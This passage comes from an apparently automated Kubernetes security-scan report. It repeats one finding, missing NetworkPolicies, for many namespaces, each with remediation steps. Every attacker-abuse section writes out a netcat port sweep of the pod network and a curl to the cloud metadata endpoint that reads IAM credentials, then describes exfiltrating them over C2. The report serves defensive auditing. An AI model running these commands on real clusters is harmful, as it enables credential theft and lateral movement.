  3. For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never 0.0.0.0/0.
  4. Validate with a debug pod: kubectl run -n cutres-pods-a --rm -it tmp --image=nicolaka/netshoot -- bash confirming allowed paths work and disallowed paths time out.
  5. Wire CIS 5.3.2 / Kyverno's require-network-policy policy into CI so future namespaces ship with a baseline.
Evidence
Namespacecutres-pods-a
Show raw JSON
{
  "namespace": "cutres-pods-a"
}
HIGH Namespace/cutres-pods-b/cutres-pods-b Namespace 7.4
Namespace cutres-pods-b has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
Scope · Namespace Namespace cutres-pods-b: every workload inside inherits allow-all behavior
Category: Lateral Movement Resource: Namespace/cutres-pods-b/cutres-pods-b Namespace: cutres-pods-b

Namespace cutres-pods-b contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at 169.254.169.254, the public internet, and the API server).

This is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant policyTypes selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.

A single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.

Impact Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.
How an attacker abuses this
Background
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker exploits an unpatched dependency in any pod in cutres-pods-b and lands a shell.
  2. They scan the pod CIDR (for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done). Every database port across every namespace is reachable.
  3. They hit the cloud metadata endpoint curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ and exfiltrate the node's IAM credentials.
  4. They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.
  5. They pivot cluster-wide: query kube-DNS for *.svc.cluster.local, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement.
Remediation
Apply a default-deny-all NetworkPolicy in cutres-pods-b, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.
  1. Apply a default-deny baseline (podSelector: {}, policyTypes: [Ingress, Egress]) to cutres-pods-b.
  2. Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.
  3. For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never 0.0.0.0/0.
  4. Validate with a debug pod: kubectl run -n cutres-pods-b --rm -it tmp --image=nicolaka/netshoot -- bash confirming allowed paths work and disallowed paths time out.
  5. Wire CIS 5.3.2 / Kyverno's require-network-policy policy into CI so future namespaces ship with a baseline.
Evidence
Namespacecutres-pods-b
Show raw JSON
{
  "namespace": "cutres-pods-b"
}
HIGH Namespace/cutres/cutres Namespace 7.4
Namespace cutres has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
Scope · Namespace Namespace cutres: every workload inside inherits allow-all behavior
Category: Lateral Movement Resource: Namespace/cutres/cutres Namespace: cutres

Namespace cutres contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at 169.254.169.254, the public internet, and the API server).

This is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant policyTypes selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.

A single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.

Impact Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.
How an attacker abuses this
Background
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker exploits an unpatched dependency in any pod in cutres and lands a shell.
  2. They scan the pod CIDR (for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done). Every database port across every namespace is reachable.
  3. They hit the cloud metadata endpoint curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ and exfiltrate the node's IAM credentials.
  4. They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.
  5. They pivot cluster-wide: query kube-DNS for *.svc.cluster.local, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement.
Remediation
Apply a default-deny-all NetworkPolicy in cutres, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.
  1. Apply a default-deny baseline (podSelector: {}, policyTypes: [Ingress, Egress]) to cutres.
  2. Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.
  3. For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never 0.0.0.0/0.
  4. Validate with a debug pod: kubectl run -n cutres --rm -it tmp --image=nicolaka/netshoot -- bash confirming allowed paths work and disallowed paths time out.
  5. Wire CIS 5.3.2 / Kyverno's require-network-policy policy into CI so future namespaces ship with a baseline.
Evidence
Namespacecutres
Show raw JSON
{
  "namespace": "cutres"
}
HIGH Namespace/deepchain-tenant/deepchain-tenant Namespace 7.4
Namespace deepchain-tenant has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
Scope · Namespace Namespace deepchain-tenant: every workload inside inherits allow-all behavior
Category: Lateral Movement Resource: Namespace/deepchain-tenant/deepchain-tenant Namespace: deepchain-tenant

Namespace deepchain-tenant contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at 169.254.169.254, the public internet, and the API server).

This is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant policyTypes selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.

A single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.

Impact Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.
How an attacker abuses this
Background
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker exploits an unpatched dependency in any pod in deepchain-tenant and lands a shell.
  2. They scan the pod CIDR (for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done). Every database port across every namespace is reachable.
  3. They hit the cloud metadata endpoint curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ and exfiltrate the node's IAM credentials.
  4. They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.
  5. They pivot cluster-wide: query kube-DNS for *.svc.cluster.local, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement.
Remediation
Apply a default-deny-all NetworkPolicy in deepchain-tenant, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.
  1. Apply a default-deny baseline (podSelector: {}, policyTypes: [Ingress, Egress]) to deepchain-tenant.
  2. Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.
  3. For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never 0.0.0.0/0.
  4. Validate with a debug pod: kubectl run -n deepchain-tenant --rm -it tmp --image=nicolaka/netshoot -- bash confirming allowed paths work and disallowed paths time out.
  5. Wire CIS 5.3.2 / Kyverno's require-network-policy policy into CI so future namespaces ship with a baseline.
Evidence
Namespacedeepchain-tenant
Show raw JSON
{
  "namespace": "deepchain-tenant"
}
HIGH Namespace/default/default Namespace 7.4
Namespace default has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
Scope · Namespace Namespace default: every workload inside inherits allow-all behavior
Category: Lateral Movement Resource: Namespace/default/default Namespace: default

Namespace default contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at 169.254.169.254, the public internet, and the API server).

This is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant policyTypes selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.

A single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.

Impact Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.
How an attacker abuses this
Background
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker exploits an unpatched dependency in any pod in default and lands a shell.
  2. They scan the pod CIDR (for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done). Every database port across every namespace is reachable.
  3. They hit the cloud metadata endpoint curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ and exfiltrate the node's IAM credentials.
  4. They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.
  5. They pivot cluster-wide: query kube-DNS for *.svc.cluster.local, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement.
Remediation
Apply a default-deny-all NetworkPolicy in default, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.
  1. Apply a default-deny baseline (podSelector: {}, policyTypes: [Ingress, Egress]) to default.
  2. Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.
  3. For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never 0.0.0.0/0.
  4. Validate with a debug pod: kubectl run -n default --rm -it tmp --image=nicolaka/netshoot -- bash confirming allowed paths work and disallowed paths time out.
  5. Wire CIS 5.3.2 / Kyverno's require-network-policy policy into CI so future namespaces ship with a baseline.
Evidence
Namespacedefault
Show raw JSON
{
  "namespace": "default"
}
HIGH Namespace/flux-system/flux-system Namespace 7.4
Namespace flux-system has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
Scope · Namespace Namespace flux-system: every workload inside inherits allow-all behavior
Category: Lateral Movement Resource: Namespace/flux-system/flux-system Namespace: flux-system

Namespace flux-system contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at 169.254.169.254, the public internet, and the API server).

This is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant policyTypes selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.

A single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.

Impact Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.
How an attacker abuses this
Background
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker exploits an unpatched dependency in any pod in flux-system and lands a shell.
  2. They scan the pod CIDR (for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done). Every database port across every namespace is reachable.
  3. They hit the cloud metadata endpoint curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ and exfiltrate the node's IAM credentials.
  4. They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.
  5. They pivot cluster-wide: query kube-DNS for *.svc.cluster.local, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement.
Remediation
Apply a default-deny-all NetworkPolicy in flux-system, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.
  1. Apply a default-deny baseline (podSelector: {}, policyTypes: [Ingress, Egress]) to flux-system.
  2. Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.
  3. For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never 0.0.0.0/0.
  4. Validate with a debug pod: kubectl run -n flux-system --rm -it tmp --image=nicolaka/netshoot -- bash confirming allowed paths work and disallowed paths time out.
  5. Wire CIS 5.3.2 / Kyverno's require-network-policy policy into CI so future namespaces ship with a baseline.
Evidence
Namespaceflux-system
Show raw JSON
{
  "namespace": "flux-system"
}
HIGH Namespace/foothold-exec/foothold-exec Namespace 7.4
Namespace foothold-exec has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
Scope · Namespace Namespace foothold-exec: every workload inside inherits allow-all behavior
Category: Lateral Movement Resource: Namespace/foothold-exec/foothold-exec Namespace: foothold-exec

Namespace foothold-exec contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at 169.254.169.254, the public internet, and the API server).

This is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant policyTypes selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.

A single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.

Impact Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.
How an attacker abuses this
Background
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker exploits an unpatched dependency in any pod in foothold-exec and lands a shell.
  2. They scan the pod CIDR (for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done). Every database port across every namespace is reachable.
  3. They hit the cloud metadata endpoint curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ and exfiltrate the node's IAM credentials.
  4. They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.
  5. They pivot cluster-wide: query kube-DNS for *.svc.cluster.local, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement.
Remediation
Apply a default-deny-all NetworkPolicy in foothold-exec, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.
  1. Apply a default-deny baseline (podSelector: {}, policyTypes: [Ingress, Egress]) to foothold-exec.
  2. Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.
  3. For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never 0.0.0.0/0.
  4. Validate with a debug pod: kubectl run -n foothold-exec --rm -it tmp --image=nicolaka/netshoot -- bash confirming allowed paths work and disallowed paths time out.
  5. Wire CIS 5.3.2 / Kyverno's require-network-policy policy into CI so future namespaces ship with a baseline.
Evidence
Namespacefoothold-exec
Show raw JSON
{
  "namespace": "foothold-exec"
}
HIGH Namespace/foothold-fixtures/foothold-fixtures Namespace 7.4
Namespace foothold-fixtures has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
Scope · Namespace Namespace foothold-fixtures: every workload inside inherits allow-all behavior
Category: Lateral Movement Resource: Namespace/foothold-fixtures/foothold-fixtures Namespace: foothold-fixtures

Namespace foothold-fixtures contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at 169.254.169.254, the public internet, and the API server).

This is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant policyTypes selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.

A single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.

Impact Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.
How an attacker abuses this
Background
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker exploits an unpatched dependency in any pod in foothold-fixtures and lands a shell.
  2. They scan the pod CIDR (for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done). Every database port across every namespace is reachable.
  3. They hit the cloud metadata endpoint curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ and exfiltrate the node's IAM credentials.
  4. They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.
  5. They pivot cluster-wide: query kube-DNS for *.svc.cluster.local, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement.
Remediation
Apply a default-deny-all NetworkPolicy in foothold-fixtures, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.
  1. Apply a default-deny baseline (podSelector: {}, policyTypes: [Ingress, Egress]) to foothold-fixtures.
  2. Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.
  3. For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never 0.0.0.0/0.
  4. Validate with a debug pod: kubectl run -n foothold-fixtures --rm -it tmp --image=nicolaka/netshoot -- bash confirming allowed paths work and disallowed paths time out.
  5. Wire CIS 5.3.2 / Kyverno's require-network-policy policy into CI so future namespaces ship with a baseline.
Evidence
Namespacefoothold-fixtures
Show raw JSON
{
  "namespace": "foothold-fixtures"
}
HIGH Namespace/foothold-ops/foothold-ops Namespace 7.4
Namespace foothold-ops has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
Scope · Namespace Namespace foothold-ops: every workload inside inherits allow-all behavior
Category: Lateral Movement Resource: Namespace/foothold-ops/foothold-ops Namespace: foothold-ops

Namespace foothold-ops contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at 169.254.169.254, the public internet, and the API server).

This is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant policyTypes selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.

A single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.

Impact Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.
How an attacker abuses this
Background
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker exploits an unpatched dependency in any pod in foothold-ops and lands a shell.
  2. They scan the pod CIDR (for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done). Every database port across every namespace is reachable.
  3. They hit the cloud metadata endpoint curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ and exfiltrate the node's IAM credentials.
  4. They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.
  5. They pivot cluster-wide: query kube-DNS for *.svc.cluster.local, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement.
Remediation
Apply a default-deny-all NetworkPolicy in foothold-ops, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.
  1. Apply a default-deny baseline (podSelector: {}, policyTypes: [Ingress, Egress]) to foothold-ops.
  2. Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.
  3. For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never 0.0.0.0/0.
  4. Validate with a debug pod: kubectl run -n foothold-ops --rm -it tmp --image=nicolaka/netshoot -- bash confirming allowed paths work and disallowed paths time out.
  5. Wire CIS 5.3.2 / Kyverno's require-network-policy policy into CI so future namespaces ship with a baseline.
Evidence
Namespacefoothold-ops
Show raw JSON
{
  "namespace": "foothold-ops"
}
HIGH Namespace/gw-groups/gw-groups Namespace 7.4
Namespace gw-groups has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
Scope · Namespace Namespace gw-groups: every workload inside inherits allow-all behavior
Category: Lateral Movement Resource: Namespace/gw-groups/gw-groups Namespace: gw-groups

Namespace gw-groups contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at 169.254.169.254, the public internet, and the API server).

This is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant policyTypes selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.

A single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.

Impact Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.
How an attacker abuses this
Background
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker exploits an unpatched dependency in any pod in gw-groups and lands a shell.
  2. They scan the pod CIDR (for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done). Every database port across every namespace is reachable.
  3. They hit the cloud metadata endpoint curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ and exfiltrate the node's IAM credentials.
  4. They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.
  5. They pivot cluster-wide: query kube-DNS for *.svc.cluster.local, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement.
Remediation
Apply a default-deny-all NetworkPolicy in gw-groups, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.
  1. Apply a default-deny baseline (podSelector: {}, policyTypes: [Ingress, Egress]) to gw-groups.
  2. Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.
  3. For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never 0.0.0.0/0.
  4. Validate with a debug pod: kubectl run -n gw-groups --rm -it tmp --image=nicolaka/netshoot -- bash confirming allowed paths work and disallowed paths time out.
  5. Wire CIS 5.3.2 / Kyverno's require-network-policy policy into CI so future namespaces ship with a baseline.
Evidence
Namespacegw-groups
Show raw JSON
{
  "namespace": "gw-groups"
}
HIGH Namespace/gw-outsider/gw-outsider Namespace 7.4
Namespace gw-outsider has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
Scope · Namespace Namespace gw-outsider: every workload inside inherits allow-all behavior
Category: Lateral Movement Resource: Namespace/gw-outsider/gw-outsider Namespace: gw-outsider

Namespace gw-outsider contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at 169.254.169.254, the public internet, and the API server).

This is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant policyTypes selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.

A single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.

Impact Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.
How an attacker abuses this
Background
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker exploits an unpatched dependency in any pod in gw-outsider and lands a shell.
  2. They scan the pod CIDR (for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done). Every database port across every namespace is reachable.
  3. They hit the cloud metadata endpoint curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ and exfiltrate the node's IAM credentials.
  4. They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.
  5. They pivot cluster-wide: query kube-DNS for *.svc.cluster.local, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement.
Remediation
Apply a default-deny-all NetworkPolicy in gw-outsider, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.
  1. Apply a default-deny baseline (podSelector: {}, policyTypes: [Ingress, Egress]) to gw-outsider.
  2. Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.
  3. For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never 0.0.0.0/0.
  4. Validate with a debug pod: kubectl run -n gw-outsider --rm -it tmp --image=nicolaka/netshoot -- bash confirming allowed paths work and disallowed paths time out.
  5. Wire CIS 5.3.2 / Kyverno's require-network-policy policy into CI so future namespaces ship with a baseline.
Evidence
Namespacegw-outsider
Show raw JSON
{
  "namespace": "gw-outsider"
}
HIGH Namespace/gw-workloads/gw-workloads Namespace 7.4
Namespace gw-workloads has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint
Scope · Namespace Namespace gw-workloads: every workload inside inherits allow-all behavior
Category: Lateral Movement Resource: Namespace/gw-workloads/gw-workloads Namespace: gw-workloads

Namespace gw-workloads contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at 169.254.169.254, the public internet, and the API server).

This is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant policyTypes selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.

